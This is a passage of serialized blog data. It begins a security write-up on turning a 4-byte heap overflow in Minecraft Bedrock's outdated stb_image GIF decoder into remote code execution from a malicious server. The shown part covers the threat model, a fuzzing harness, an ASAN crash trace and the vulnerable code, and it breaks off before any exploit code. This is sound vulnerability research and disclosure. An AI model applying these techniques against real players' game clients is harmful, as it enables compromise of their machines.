",{"type":21,"tag":29,"props":149409,"children":149411},{"href":149233,"rel":149410},[33],[149412],{"type":21,"tag":78,"props":149413,"children":149415},{"className":149414},[],[149416],{"type":26,"value":149241},{"type":21,"tag":66,"props":149418,"children":149420},{"id":149419},"acknowledgements",[149421],{"type":26,"value":149422},"Acknowledgements",{"type":21,"tag":22,"props":149424,"children":149425},{},[149426],{"type":26,"value":149427},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":166,"depth":166,"links":149429},[149430,149437,149438,149439,149440,149441,149442,149443,149444,149445,149446,149447],{"id":144247,"depth":166,"text":144250,"children":149431},[149432,149433,149434,149435,149436],{"id":144272,"depth":225,"text":144275},{"id":145075,"depth":225,"text":145078},{"id":146273,"depth":225,"text":146276},{"id":146303,"depth":225,"text":146306},{"id":146584,"depth":225,"text":146587},{"id":147317,"depth":166,"text":147320},{"id":147455,"depth":166,"text":147458},{"id":92598,"depth":166,"text":148086},{"id":148685,"depth":166,"text":148688},{"id":148822,"depth":166,"text":148825},{"id":148937,"depth":166,"text":148940},{"id":149030,"depth":166,"text":149033},{"id":149097,"depth":166,"text":149100},{"id":149249,"depth":166,"text":149252},{"id":63116,"depth":166,"text":149281},{"id":149419,"depth":166,"text":149422},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":149452,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":149453,"description":149454,"date":149455,"author":125954,"image":149456,"isFeatured":16,"onBlogPage":16,"tags":149458,"body":149461,"_type":5619,"_id":158841,"_source":5621,"_file":158842,"_stem":158843,"_extension":5624},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":149457,"width":99565,"height":16340},"/posts/minecraft-heap-overflow-to-rce/title.png",[149459,149460],"minecraft","rce",{"type":18,"children":149462,"toc":158818},[149463,149468,149473,149478,149484,149489,149508,149513,149519,149524,149529,149535,149540,149545,149550,149556,149561,149566,149572,149592,149604,149611,149633,149647,149654,149660,149670,149690,149695,149701,149714,150059,150064,150072,150078,150097,150405,150433,150476,150488,150496,150501,150970,150989,151010,151352,151376,151648,151672,151699,151908,151927,151935,151954,151960,152022,152025,152047,152051,152056,152061,152067,152072,152086,152092,152106,152112,152125,152130,152138,152143,152149,152170,152178,152191,152194,152199,152213,152218,152223,152229,152234,152257,152262,152268,152273,152285,152297,152411,152431,152436,152441,152447,152452,152472,153087,153100,154174,154179,154187,154192,154198,154203,154211,154224,154229,154234,154241,154254,154259,154266,154321,154341,154348,154367,154374,154377,154382,154387,154393,154405,154418,154426,154497,154508,154542,154550,154555,154560,154566,154578,154597,154609,154614,154622,154641,154649,154668,154676,154702,154710,154715,154723,154728,154736,154739,154744,154749,154755,154768,154786,154824,154854,154862,154867,154873,154878,154883,154889,154901,155070,155082,155090,155095,155102,155107,155168,155215,155227,155232,155258,155332,155370,155375,155383,155404,155409,155435,155469,155522,155569,155575,155594,155626,155634,155737,155808,155814,155840,155847,155852,155859,155864,156105,156131,156136,156184,156189,156195,156227,156239,156271,156279,156318,156326,156331,156339,156344,156352,156364,156372,156384,156392,156404,156424,156430,156450,156467,156475,156487,156495,156514,156519,156527,156532,156540,156566,156577,156584,156589,156597,156602,156610,156615,156623,156628,156636,156641,156649,156654,156662,156703,156710,156715,156723,156728,156736,156741,156749,156754,156759,156767,156772,156780,156806,156814,156840,156848,156853,156861,156866,156874,156882,156887,156895,156900,156908,156911,156922,156956,156974,156982,157002,157008,157027,157085,157105,157113,157116,157155,157215,157220,157226,157239,157247,157299,157338,157346,157379,157382,157402,157410,157416,157421,157429,157469,157510,157530,157535,157540,157558,157564,157569,157588,157649,157657,157683,157689,157709,157714,157719,157726,157791,157796,157803,157824,157829,157841,157847,157880,157887,157892,157920,157927,157983,157995,158002,158063,158082,158088,158122,158143,158170,158178,158231,158301,158307,158327,158370,158375,158773,158779,158784,158795,158799,158804,158809,158814],{"type":21,"tag":38066,"props":149464,"children":149466},{"id":149465},"pwning-minecraft-4-byte-heap-overflow-to-rce",[149467],{"type":26,"value":149453},{"type":21,"tag":22,"props":149469,"children":149470},{},[149471],{"type":26,"value":149472},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":21,"tag":22,"props":149474,"children":149475},{},[149476],{"type":26,"value":149477},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":21,"tag":66,"props":149479,"children":149481},{"id":149480},"the-target",[149482],{"type":26,"value":149483},"The Target",{"type":21,"tag":22,"props":149485,"children":149486},{},[149487],{"type":26,"value":149488},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":21,"tag":22,"props":149490,"children":149491},{},[149492,149494,149499,149501,149506],{"type":26,"value":149493},"There are two main editions: ",{"type":21,"tag":8055,"props":149495,"children":149496},{},[149497],{"type":26,"value":149498},"Minecraft Java Edition",{"type":26,"value":149500},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":21,"tag":8055,"props":149502,"children":149503},{},[149504],{"type":26,"value":149505},"Minecraft Bedrock Edition",{"type":26,"value":149507},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":21,"tag":22,"props":149509,"children":149510},{},[149511],{"type":26,"value":149512},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":21,"tag":114,"props":149514,"children":149516},{"id":149515},"choice-of-context",[149517],{"type":26,"value":149518},"Choice of Context",{"type":21,"tag":22,"props":149520,"children":149521},{},[149522],{"type":26,"value":149523},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":21,"tag":22,"props":149525,"children":149526},{},[149527],{"type":26,"value":149528},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":21,"tag":114,"props":149530,"children":149532},{"id":149531},"resource-packs",[149533],{"type":26,"value":149534},"Resource Packs",{"type":21,"tag":22,"props":149536,"children":149537},{},[149538],{"type":26,"value":149539},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":21,"tag":22,"props":149541,"children":149542},{},[149543],{"type":26,"value":149544},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":21,"tag":22,"props":149546,"children":149547},{},[149548],{"type":26,"value":149549},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":21,"tag":66,"props":149551,"children":149553},{"id":149552},"finding-a-memory-corruption-bug",[149554],{"type":26,"value":149555},"Finding a Memory Corruption Bug",{"type":21,"tag":22,"props":149557,"children":149558},{},[149559],{"type":26,"value":149560},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":21,"tag":22,"props":149562,"children":149563},{},[149564],{"type":26,"value":149565},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":21,"tag":114,"props":149567,"children":149569},{"id":149568},"locating-image-parsing-code",[149570],{"type":26,"value":149571},"Locating Image Parsing Code",{"type":21,"tag":22,"props":149573,"children":149574},{},[149575,149577,149583,149584,149590],{"type":26,"value":149576},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":21,"tag":78,"props":149578,"children":149580},{"className":149579},[],[149581],{"type":26,"value":149582},"PNG",{"type":26,"value":15851},{"type":21,"tag":78,"props":149585,"children":149587},{"className":149586},[],[149588],{"type":26,"value":149589},"GIF",{"type":26,"value":149591}," and look for error logging or other messages that use those substrings.",{"type":21,"tag":22,"props":149593,"children":149594},{},[149595,149597,149602],{"type":26,"value":149596},"Searching for the string ",{"type":21,"tag":78,"props":149598,"children":149600},{"className":149599},[],[149601],{"type":26,"value":149589},{"type":26,"value":149603}," returned some interesting results:",{"type":21,"tag":22,"props":149605,"children":149606},{},[149607],{"type":21,"tag":3644,"props":149608,"children":149610},{"alt":52869,"src":149609},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":21,"tag":22,"props":149612,"children":149613},{},[149614,149616,149623,149625,149632],{"type":26,"value":149615},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":21,"tag":29,"props":149617,"children":149620},{"href":149618,"rel":149619},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[33],[149621],{"type":26,"value":149622},"stb_image.h",{"type":26,"value":149624},". For an example: usage of ",{"type":21,"tag":29,"props":149626,"children":149629},{"href":149627,"rel":149628},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[33],[149630],{"type":26,"value":149631},"bad Image Descriptor",{"type":26,"value":355},{"type":21,"tag":22,"props":149634,"children":149635},{},[149636,149638,149645],{"type":26,"value":149637},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":21,"tag":29,"props":149639,"children":149642},{"href":149640,"rel":149641},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[33],[149643],{"type":26,"value":149644},"stbi__gif_load_next",{"type":26,"value":149646},", and loaded the resource pack - this confirmed its usage:",{"type":21,"tag":22,"props":149648,"children":149649},{},[149650],{"type":21,"tag":3644,"props":149651,"children":149653},{"alt":52869,"src":149652},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":21,"tag":114,"props":149655,"children":149657},{"id":149656},"stb-image-library",[149658],{"type":26,"value":149659},"STB Image Library",{"type":21,"tag":22,"props":149661,"children":149662},{},[149663,149668],{"type":21,"tag":78,"props":149664,"children":149666},{"className":149665},[],[149667],{"type":26,"value":149622},{"type":26,"value":149669}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":21,"tag":22,"props":149671,"children":149672},{},[149673,149675,149680,149682,149689],{"type":26,"value":149674},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":21,"tag":78,"props":149676,"children":149678},{"className":149677},[],[149679],{"type":26,"value":149622},{"type":26,"value":149681}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":21,"tag":29,"props":149683,"children":149686},{"href":149684,"rel":149685},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[33],[149687],{"type":26,"value":149688},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":26,"value":355},{"type":21,"tag":22,"props":149691,"children":149692},{},[149693],{"type":26,"value":149694},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":21,"tag":21591,"props":149696,"children":149698},{"id":149697},"fuzzing",[149699],{"type":26,"value":149700},"Fuzzing",{"type":21,"tag":22,"props":149702,"children":149703},{},[149704,149706,149713],{"type":26,"value":149705},"The fuzzer consisted of a very simple ",{"type":21,"tag":29,"props":149707,"children":149710},{"href":149708,"rel":149709},"https://github.com/AFLplusplus/AFLplusplus",[33],[149711],{"type":26,"value":149712},"AFL++",{"type":26,"value":29437},{"type":21,"tag":143,"props":149715,"children":149717},{"code":149716,"language":5896,"meta":7,"className":19212,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[149718],{"type":21,"tag":78,"props":149719,"children":149720},{"__ignoreMap":7},[149721,149734,149746,149753,149799,149811,149832,149839,149863,149878,149885,149892,149964,149988,150003,150010,150017,150030,150037,150052],{"type":21,"tag":153,"props":149722,"children":149723},{"class":155,"line":156},[149724,149729],{"type":21,"tag":153,"props":149725,"children":149726},{"style":1751},[149727],{"type":26,"value":149728},"#define",{"type":21,"tag":153,"props":149730,"children":149731},{"style":181},[149732],{"type":26,"value":149733}," STB_IMAGE_IMPLEMENTATION\n",{"type":21,"tag":153,"props":149735,"children":149736},{"class":155,"line":166},[149737,149741],{"type":21,"tag":153,"props":149738,"children":149739},{"style":1751},[149740],{"type":26,"value":92712},{"type":21,"tag":153,"props":149742,"children":149743},{"style":671},[149744],{"type":26,"value":149745}," \"./stb/stb_image.h\"\n",{"type":21,"tag":153,"props":149747,"children":149748},{"class":155,"line":225},[149749],{"type":21,"tag":153,"props":149750,"children":149751},{"emptyLinePlaceholder":16},[149752],{"type":26,"value":759},{"type":21,"tag":153,"props":149754,"children":149755},{"class":155,"line":239},[149756,149760,149764,149768,149772,149777,149781,149786,149790,149795],{"type":21,"tag":153,"props":149757,"children":149758},{"style":170},[149759],{"type":26,"value":21743},{"type":21,"tag":153,"props":149761,"children":149762},{"style":181},[149763],{"type":26,"value":93077},{"type":21,"tag":153,"props":149765,"children":149766},{"style":160},[149767],{"type":26,"value":189},{"type":21,"tag":153,"props":149769,"children":149770},{"style":170},[149771],{"type":26,"value":21743},{"type":21,"tag":153,"props":149773,"children":149774},{"style":192},[149775],{"type":26,"value":149776}," argc",{"type":21,"tag":153,"props":149778,"children":149779},{"style":160},[149780],{"type":26,"value":1670},{"type":21,"tag":153,"props":149782,"children":149783},{"style":170},[149784],{"type":26,"value":149785},"char",{"type":21,"tag":153,"props":149787,"children":149788},{"style":198},[149789],{"type":26,"value":92178},{"type":21,"tag":153,"props":149791,"children":149792},{"style":192},[149793],{"type":26,"value":149794},"argv",{"type":21,"tag":153,"props":149796,"children":149797},{"style":160},[149798],{"type":26,"value":2659},{"type":21,"tag":153,"props":149800,"children":149801},{"class":155,"line":382},[149802,149806],{"type":21,"tag":153,"props":149803,"children":149804},{"style":170},[149805],{"type":26,"value":21773},{"type":21,"tag":153,"props":149807,"children":149808},{"style":160},[149809],{"type":26,"value":149810}," x, y, comp;\n",{"type":21,"tag":153,"props":149812,"children":149813},{"class":155,"line":501},[149814,149819,149823,149827],{"type":21,"tag":153,"props":149815,"children":149816},{"style":170},[149817],{"type":26,"value":149818},"    unsigned",{"type":21,"tag":153,"props":149820,"children":149821},{"style":170},[149822],{"type":26,"value":61341},{"type":21,"tag":153,"props":149824,"children":149825},{"style":198},[149826],{"type":26,"value":5080},{"type":21,"tag":153,"props":149828,"children":149829},{"style":160},[149830],{"type":26,"value":149831},"ret;\n",{"type":21,"tag":153,"props":149833,"children":149834},{"class":155,"line":533},[149835],{"type":21,"tag":153,"props":149836,"children":149837},{"emptyLinePlaceholder":16},[149838],{"type":26,"value":759},{"type":21,"tag":153,"props":149840,"children":149841},{"class":155,"line":542},[149842,149846,149851,149855,149859],{"type":21,"tag":153,"props":149843,"children":149844},{"style":1751},[149845],{"type":26,"value":2434},{"type":21,"tag":153,"props":149847,"children":149848},{"style":160},[149849],{"type":26,"value":149850}," (argc ",{"type":21,"tag":153,"props":149852,"children":149853},{"style":198},[149854],{"type":26,"value":18385},{"type":21,"tag":153,"props":149856,"children":149857},{"style":300},[149858],{"type":26,"value":10661},{"type":21,"tag":153,"props":149860,"children":149861},{"style":160},[149862],{"type":26,"value":2659},{"type":21,"tag":153,"props":149864,"children":149865},{"class":155,"line":762},[149866,149870,149874],{"type":21,"tag":153,"props":149867,"children":149868},{"style":1751},[149869],{"type":26,"value":18441},{"type":21,"tag":153,"props":149871,"children":149872},{"style":300},[149873],{"type":26,"value":7253},{"type":21,"tag":153,"props":149875,"children":149876},{"style":160},[149877],{"type":26,"value":1759},{"type":21,"tag":153,"props":149879,"children":149880},{"class":155,"line":776},[149881],{"type":21,"tag":153,"props":149882,"children":149883},{"style":160},[149884],{"type":26,"value":539},{"type":21,"tag":153,"props":149886,"children":149887},{"class":155,"line":795},[149888],{"type":21,"tag":153,"props":149889,"children":149890},{"emptyLinePlaceholder":16},[149891],{"type":26,"value":759},{"type":21,"tag":153,"props":149893,"children":149894},{"class":155,"line":808},[149895,149900,149904,149909,149913,149917,149921,149925,149929,149933,149938,149942,149947,149951,149956,149960],{"type":21,"tag":153,"props":149896,"children":149897},{"style":160},[149898],{"type":26,"value":149899},"    ret ",{"type":21,"tag":153,"props":149901,"children":149902},{"style":198},[149903],{"type":26,"value":2367},{"type":21,"tag":153,"props":149905,"children":149906},{"style":181},[149907],{"type":26,"value":149908}," stbi_load",{"type":21,"tag":153,"props":149910,"children":149911},{"style":160},[149912],{"type":26,"value":189},{"type":21,"tag":153,"props":149914,"children":149915},{"style":192},[149916],{"type":26,"value":149794},{"type":21,"tag":153,"props":149918,"children":149919},{"style":160},[149920],{"type":26,"value":211},{"type":21,"tag":153,"props":149922,"children":149923},{"style":300},[149924],{"type":26,"value":3033},{"type":21,"tag":153,"props":149926,"children":149927},{"style":160},[149928],{"type":26,"value":308},{"type":21,"tag":153,"props":149930,"children":149931},{"style":198},[149932],{"type":26,"value":1974},{"type":21,"tag":153,"props":149934,"children":149935},{"style":160},[149936],{"type":26,"value":149937},"x, ",{"type":21,"tag":153,"props":149939,"children":149940},{"style":198},[149941],{"type":26,"value":1974},{"type":21,"tag":153,"props":149943,"children":149944},{"style":160},[149945],{"type":26,"value":149946},"y, ",{"type":21,"tag":153,"props":149948,"children":149949},{"style":198},[149950],{"type":26,"value":1974},{"type":21,"tag":153,"props":149952,"children":149953},{"style":160},[149954],{"type":26,"value":149955},"comp, ",{"type":21,"tag":153,"props":149957,"children":149958},{"style":300},[149959],{"type":26,"value":2996},{"type":21,"tag":153,"props":149961,"children":149962},{"style":160},[149963],{"type":26,"value":530},{"type":21,"tag":153,"props":149965,"children":149966},{"class":155,"line":820},[149967,149971,149976,149980,149984],{"type":21,"tag":153,"props":149968,"children":149969},{"style":1751},[149970],{"type":26,"value":2434},{"type":21,"tag":153,"props":149972,"children":149973},{"style":160},[149974],{"type":26,"value":149975}," (ret ",{"type":21,"tag":153,"props":149977,"children":149978},{"style":198},[149979],{"type":26,"value":1694},{"type":21,"tag":153,"props":149981,"children":149982},{"style":170},[149983],{"type":26,"value":130067},{"type":21,"tag":153,"props":149985,"children":149986},{"style":160},[149987],{"type":26,"value":2659},{"type":21,"tag":153,"props":149989,"children":149990},{"class":155,"line":842},[149991,149995,149999],{"type":21,"tag":153,"props":149992,"children":149993},{"style":1751},[149994],{"type":26,"value":18441},{"type":21,"tag":153,"props":149996,"children":149997},{"style":300},[149998],{"type":26,"value":7253},{"type":21,"tag":153,"props":150000,"children":150001},{"style":160},[150002],{"type":26,"value":1759},{"type":21,"tag":153,"props":150004,"children":150005},{"class":155,"line":3204},[150006],{"type":21,"tag":153,"props":150007,"children":150008},{"style":160},[150009],{"type":26,"value":539},{"type":21,"tag":153,"props":150011,"children":150012},{"class":155,"line":3230},[150013],{"type":21,"tag":153,"props":150014,"children":150015},{"style":160},[150016],{"type":26,"value":64079},{"type":21,"tag":153,"props":150018,"children":150019},{"class":155,"line":3239},[150020,150025],{"type":21,"tag":153,"props":150021,"children":150022},{"style":181},[150023],{"type":26,"value":150024},"    stbi_image_free",{"type":21,"tag":153,"props":150026,"children":150027},{"style":160},[150028],{"type":26,"value":150029},"(ret);\n",{"type":21,"tag":153,"props":150031,"children":150032},{"class":155,"line":3253},[150033],{"type":21,"tag":153,"props":150034,"children":150035},{"emptyLinePlaceholder":16},[150036],{"type":26,"value":759},{"type":21,"tag":153,"props":150038,"children":150039},{"class":155,"line":3301},[150040,150044,150048],{"type":21,"tag":153,"props":150041,"children":150042},{"style":1751},[150043],{"type":26,"value":19687},{"type":21,"tag":153,"props":150045,"children":150046},{"style":300},[150047],{"type":26,"value":5799},{"type":21,"tag":153,"props":150049,"children":150050},{"style":160},[150051],{"type":26,"value":1759},{"type":21,"tag":153,"props":150053,"children":150054},{"class":155,"line":3346},[150055],{"type":21,"tag":153,"props":150056,"children":150057},{"style":160},[150058],{"type":26,"value":548},{"type":21,"tag":22,"props":150060,"children":150061},{},[150062],{"type":26,"value":150063},"And soon after starting the fuzzer it found an interesting bug:",{"type":21,"tag":143,"props":150065,"children":150067},{"code":150066},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[150068],{"type":21,"tag":78,"props":150069,"children":150070},{"__ignoreMap":7},[150071],{"type":26,"value":150066},{"type":21,"tag":21591,"props":150073,"children":150075},{"id":150074},"investigating-the-finding",[150076],{"type":26,"value":150077},"Investigating the Finding",{"type":21,"tag":22,"props":150079,"children":150080},{},[150081,150083,150089,150090,150095],{"type":26,"value":150082},"The ASAN output shows that at line ",{"type":21,"tag":78,"props":150084,"children":150086},{"className":150085},[],[150087],{"type":26,"value":150088},"6233",{"type":26,"value":145589},{"type":21,"tag":78,"props":150091,"children":150093},{"className":150092},[],[150094],{"type":26,"value":149622},{"type":26,"value":150096}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":21,"tag":143,"props":150098,"children":150100},{"code":150099,"language":5896,"meta":7,"className":19212,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[150101],{"type":21,"tag":78,"props":150102,"children":150103},{"__ignoreMap":7},[150104,150146,150153,150179,150192,150199,150207,150214,150268,150275,150321,150354],{"type":21,"tag":153,"props":150105,"children":150106},{"class":155,"line":156},[150107,150111,150115,150120,150125,150129,150133,150138,150142],{"type":21,"tag":153,"props":150108,"children":150109},{"style":170},[150110],{"type":26,"value":53335},{"type":21,"tag":153,"props":150112,"children":150113},{"style":170},[150114],{"type":26,"value":53340},{"type":21,"tag":153,"props":150116,"children":150117},{"style":181},[150118],{"type":26,"value":150119}," stbi__out_gif_code",{"type":21,"tag":153,"props":150121,"children":150122},{"style":160},[150123],{"type":26,"value":150124},"(stbi__gif ",{"type":21,"tag":153,"props":150126,"children":150127},{"style":198},[150128],{"type":26,"value":313},{"type":21,"tag":153,"props":150130,"children":150131},{"style":192},[150132],{"type":26,"value":111595},{"type":21,"tag":153,"props":150134,"children":150135},{"style":160},[150136],{"type":26,"value":150137},", stbi__uint16 ",{"type":21,"tag":153,"props":150139,"children":150140},{"style":192},[150141],{"type":26,"value":78},{"type":21,"tag":153,"props":150143,"children":150144},{"style":160},[150145],{"type":26,"value":5909},{"type":21,"tag":153,"props":150147,"children":150148},{"class":155,"line":166},[150149],{"type":21,"tag":153,"props":150150,"children":150151},{"style":160},[150152],{"type":26,"value":13601},{"type":21,"tag":153,"props":150154,"children":150155},{"class":155,"line":225},[150156,150161,150165,150170,150174],{"type":21,"tag":153,"props":150157,"children":150158},{"style":160},[150159],{"type":26,"value":150160},"   stbi_uc ",{"type":21,"tag":153,"props":150162,"children":150163},{"style":198},[150164],{"type":26,"value":313},{"type":21,"tag":153,"props":150166,"children":150167},{"style":160},[150168],{"type":26,"value":150169},"p, ",{"type":21,"tag":153,"props":150171,"children":150172},{"style":198},[150173],{"type":26,"value":313},{"type":21,"tag":153,"props":150175,"children":150176},{"style":160},[150177],{"type":26,"value":150178},"c;\n",{"type":21,"tag":153,"props":150180,"children":150181},{"class":155,"line":239},[150182,150187],{"type":21,"tag":153,"props":150183,"children":150184},{"style":170},[150185],{"type":26,"value":150186},"   int",{"type":21,"tag":153,"props":150188,"children":150189},{"style":160},[150190],{"type":26,"value":150191}," idx; \n",{"type":21,"tag":153,"props":150193,"children":150194},{"class":155,"line":382},[150195],{"type":21,"tag":153,"props":150196,"children":150197},{"emptyLinePlaceholder":16},[150198],{"type":26,"value":759},{"type":21,"tag":153,"props":150200,"children":150201},{"class":155,"line":501},[150202],{"type":21,"tag":153,"props":150203,"children":150204},{"style":160},[150205],{"type":26,"value":150206},"   [...]\n",{"type":21,"tag":153,"props":150208,"children":150209},{"class":155,"line":533},[150210],{"type":21,"tag":153,"props":150211,"children":150212},{"emptyLinePlaceholder":16},[150213],{"type":26,"value":759},{"type":21,"tag":153,"props":150215,"children":150216},{"class":155,"line":542},[150217,150221,150225,150229,150233,150238,150242,150247,150251,150256,150260,150264],{"type":21,"tag":153,"props":150218,"children":150219},{"style":1751},[150220],{"type":26,"value":54935},{"type":21,"tag":153,"props":150222,"children":150223},{"style":160},[150224],{"type":26,"value":5820},{"type":21,"tag":153,"props":150226,"children":150227},{"style":192},[150228],{"type":26,"value":111595},{"type":21,"tag":153,"props":150230,"children":150231},{"style":160},[150232],{"type":26,"value":2953},{"type":21,"tag":153,"props":150234,"children":150235},{"style":192},[150236],{"type":26,"value":150237},"cur_y",{"type":21,"tag":153,"props":150239,"children":150240},{"style":198},[150241],{"type":26,"value":11028},{"type":21,"tag":153,"props":150243,"children":150244},{"style":192},[150245],{"type":26,"value":150246}," g",{"type":21,"tag":153,"props":150248,"children":150249},{"style":160},[150250],{"type":26,"value":2953},{"type":21,"tag":153,"props":150252,"children":150253},{"style":192},[150254],{"type":26,"value":150255},"max_y",{"type":21,"tag":153,"props":150257,"children":150258},{"style":160},[150259],{"type":26,"value":2362},{"type":21,"tag":153,"props":150261,"children":150262},{"style":1751},[150263],{"type":26,"value":50747},{"type":21,"tag":153,"props":150265,"children":150266},{"style":160},[150267],{"type":26,"value":1759},{"type":21,"tag":153,"props":150269,"children":150270},{"class":155,"line":762},[150271],{"type":21,"tag":153,"props":150272,"children":150273},{"emptyLinePlaceholder":16},[150274],{"type":26,"value":759},{"type":21,"tag":153,"props":150276,"children":150277},{"class":155,"line":776},[150278,150283,150287,150291,150295,150300,150304,150308,150312,150316],{"type":21,"tag":153,"props":150279,"children":150280},{"style":160},[150281],{"type":26,"value":150282},"   idx ",{"type":21,"tag":153,"props":150284,"children":150285},{"style":198},[150286],{"type":26,"value":2367},{"type":21,"tag":153,"props":150288,"children":150289},{"style":192},[150290],{"type":26,"value":150246},{"type":21,"tag":153,"props":150292,"children":150293},{"style":160},[150294],{"type":26,"value":2953},{"type":21,"tag":153,"props":150296,"children":150297},{"style":192},[150298],{"type":26,"value":150299},"cur_x",{"type":21,"tag":153,"props":150301,"children":150302},{"style":198},[150303],{"type":26,"value":5527},{"type":21,"tag":153,"props":150305,"children":150306},{"style":192},[150307],{"type":26,"value":150246},{"type":21,"tag":153,"props":150309,"children":150310},{"style":160},[150311],{"type":26,"value":2953},{"type":21,"tag":153,"props":150313,"children":150314},{"style":192},[150315],{"type":26,"value":150237},{"type":21,"tag":153,"props":150317,"children":150318},{"style":160},[150319],{"type":26,"value":150320},"; \n",{"type":21,"tag":153,"props":150322,"children":150323},{"class":155,"line":795},[150324,150329,150333,150337,150341,150345,150349],{"type":21,"tag":153,"props":150325,"children":150326},{"style":160},[150327],{"type":26,"value":150328},"   p ",{"type":21,"tag":153,"props":150330,"children":150331},{"style":198},[150332],{"type":26,"value":2367},{"type":21,"tag":153,"props":150334,"children":150335},{"style":198},[150336],{"type":26,"value":206},{"type":21,"tag":153,"props":150338,"children":150339},{"style":192},[150340],{"type":26,"value":111595},{"type":21,"tag":153,"props":150342,"children":150343},{"style":160},[150344],{"type":26,"value":2953},{"type":21,"tag":153,"props":150346,"children":150347},{"style":192},[150348],{"type":26,"value":121018},{"type":21,"tag":153,"props":150350,"children":150351},{"style":160},[150352],{"type":26,"value":150353},"[idx];\n",{"type":21,"tag":153,"props":150355,"children":150356},{"class":155,"line":808},[150357,150362,150366,150371,150376,150380,150384,150388,150392,150396,150400],{"type":21,"tag":153,"props":150358,"children":150359},{"style":192},[150360],{"type":26,"value":150361},"   g",{"type":21,"tag":153,"props":150363,"children":150364},{"style":160},[150365],{"type":26,"value":2953},{"type":21,"tag":153,"props":150367,"children":150368},{"style":192},[150369],{"type":26,"value":150370},"history",{"type":21,"tag":153,"props":150372,"children":150373},{"style":160},[150374],{"type":26,"value":150375},"[idx 